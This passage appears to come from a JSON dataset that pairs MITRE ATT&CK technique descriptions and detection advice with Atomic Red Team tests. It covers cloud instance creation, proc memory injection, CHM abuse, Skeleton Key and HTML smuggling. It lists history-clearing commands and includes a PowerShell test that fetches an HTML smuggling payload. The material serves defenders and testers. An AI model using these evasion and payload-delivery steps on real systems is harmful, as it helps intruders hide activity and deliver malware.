- "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020."
- },
- {
- "source_name": "Cloud Audit Logs",
- "url": "https://cloud.google.com/logging/docs/audit#admin-activity",
- "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."
- }
- ],
- "modified": "2021-03-08T10:33:02.034Z",
- "name": "Create Cloud Instance",
- "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances
event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create
to create a VM.(Citation: Cloud Audit Logs)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Instance: Instance Creation",
- "Instance: Instance Metadata"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1500": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925",
- "type": "attack-pattern",
- "created": "2019-04-25T20:53:07.719Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1500",
- "url": "https://attack.mitre.org/techniques/T1500"
- },
- {
- "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
- "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
- "source_name": "ClearSky MuddyWater Nov 2018"
- },
- {
- "source_name": "TrendMicro WindowsAppMac",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/",
- "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."
- }
- ],
- "modified": "2020-03-16T15:38:37.650Z",
- "name": "Compile After Delivery",
- "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Static File Analysis",
- "Binary Analysis",
- "Anti-virus",
- "Host intrusion prevention systems",
- "Signature-based detection"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "Compiler software (either native to the system or delivered by the adversary)"
- ]
- },
- "atomic_tests": []
- },
- "T1055.009": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
- "type": "attack-pattern",
- "created": "2020-01-14T01:34:10.588Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.009",
- "url": "https://attack.mitre.org/techniques/T1055/009"
- },
- {
- "url": "http://hick.org/code/skape/papers/needle.txt",
- "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
- "source_name": "Uninformed Needle"
- },
- {
- "source_name": "GDS Linux Injection",
- "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html",
- "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020."
- },
- {
- "source_name": "DD Man",
- "url": "http://man7.org/linux/man-pages/man1/dd.1.html",
- "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020."
- }
- ],
- "modified": "2020-06-20T22:25:55.331Z",
- "name": "Proc Memory",
- "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]
) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps
can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ]
- },
- "atomic_tests": []
- },
- "T1223": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a",
- "type": "attack-pattern",
- "created": "2018-10-17T00:14:20.652Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1223",
- "url": "https://attack.mitre.org/techniques/T1223"
- },
- {
- "source_name": "Microsoft HTML Help May 2018",
- "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
- "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
- },
- {
- "source_name": "Microsoft HTML Help ActiveX",
- "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
- "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
- },
- {
- "url": "https://msdn.microsoft.com/windows/desktop/ms524405",
- "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
- "source_name": "Microsoft HTML Help Executable Program"
- },
- {
- "url": "https://msitpros.com/?p=3909",
- "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
- "source_name": "MsitPros CHM Aug 2017"
- },
- {
- "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625",
- "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
- "source_name": "Microsoft CVE-2017-8625 Aug 2017"
- }
- ],
- "modified": "2020-01-31T18:59:00.845Z",
- "name": "Compiled HTML File",
- "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1601.001": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f",
- "type": "attack-pattern",
- "created": "2020-10-19T19:49:24.129Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1601.001",
- "url": "https://attack.mitre.org/techniques/T1601/001"
- },
- {
- "source_name": "Killing the myth of Cisco IOS rootkits",
- "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf",
- "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020."
- },
- {
- "source_name": "Killing IOS diversity myth",
- "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf",
- "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020."
- },
- {
- "source_name": "Cisco IOS Shellcode",
- "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf",
- "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020."
- },
- {
- "source_name": "Cisco IOS Forensics Developments",
- "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf",
- "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020."
- },
- {
- "source_name": "Juniper Netscreen of the Dead",
- "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf",
- "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
- }
- ],
- "modified": "2020-10-22T17:50:46.560Z",
- "name": "Patch System Image",
- "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1146": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1146",
- "external_id": "T1146"
- }
- ],
- "modified": "2020-01-31T12:32:52.281Z",
- "name": "Clear Command History",
- "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE
. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history
. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE
, export HISTFILESIZE=0
, history -c
, rm ~/.bash_history
.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history
is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history
file are indicators of suspicious activity.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Log analysis",
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1556.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605",
- "type": "attack-pattern",
- "created": "2020-02-11T19:05:02.399Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.001",
- "url": "https://attack.mitre.org/techniques/T1556/001"
- },
- {
- "source_name": "Dell Skeleton",
- "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
- "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
- "source_name": "TechNet Audit Policy"
- }
- ],
- "modified": "2021-04-20T20:10:26.613Z",
- "name": "Domain Controller Authentication",
- "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for calls to OpenProcess
that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Logon Session: Logon Session Creation",
- "Process: Process Access",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1027.006": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stan Hegt, Outflank",
- "Jonathan Boucher, @crash_wave, Bank of Canada",
- "Krishnan Subramanian, @krish203",
- "Vinay Pidathala"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb",
- "created": "2021-05-20T12:20:42.219Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1027.006",
- "url": "https://attack.mitre.org/techniques/T1027/006"
- },
- {
- "source_name": "Outlflank HTML Smuggling 2018",
- "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/",
- "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021."
- },
- {
- "source_name": "MSTIC NOBELIUM May 2021",
- "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/",
- "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."
- },
- {
- "source_name": "HTML Smuggling Menlo Security 2020",
- "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri",
- "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021."
- },
- {
- "source_name": "nccgroup Smuggling HTA 2017",
- "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/",
- "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain
and/or text/html
. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob
.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)",
- "modified": "2022-05-19T16:29:47.637Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "HTML Smuggling",
- "x_mitre_detection": "Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob
, msSaveOrOpenBlob
, and/or download
may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Web Content Filters",
- "Static File Analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1027.006"
- },
- "atomic_tests": [
- {
- "name": "HTML Smuggling Remote Payload",
- "auto_generated_guid": "30cbeda4-08d9-42f1-8685-197fad677734",
- "description": "The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without userinteraction. \nThe HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "T1027_006_remote.html must exist on disk at specified at PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\n",
- "prereq_command": "if (Test-Path PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html) { exit 0} else { exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1027.006\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.006/bin/T1027_006_Remote.html\" -OutFile \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\"\n"
- }
- ],
- "executor": {
- "command": "PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\n",
- "cleanup_command": "$user = [System.Environment]::UserName; Remove-Item -Path C:\\Users\\$user\\Downloads\\FeelTheBurn.iso",
- "name": "powershell",
- "elevation_required": false
- }
- }
- ]
- },
- "T1556.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48",
- "type": "attack-pattern",
- "created": "2022-01-13T20:02:28.349Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.005",
- "url": "https://attack.mitre.org/techniques/T1556/005"
- },
- {
- "source_name": "store_pwd_rev_enc",
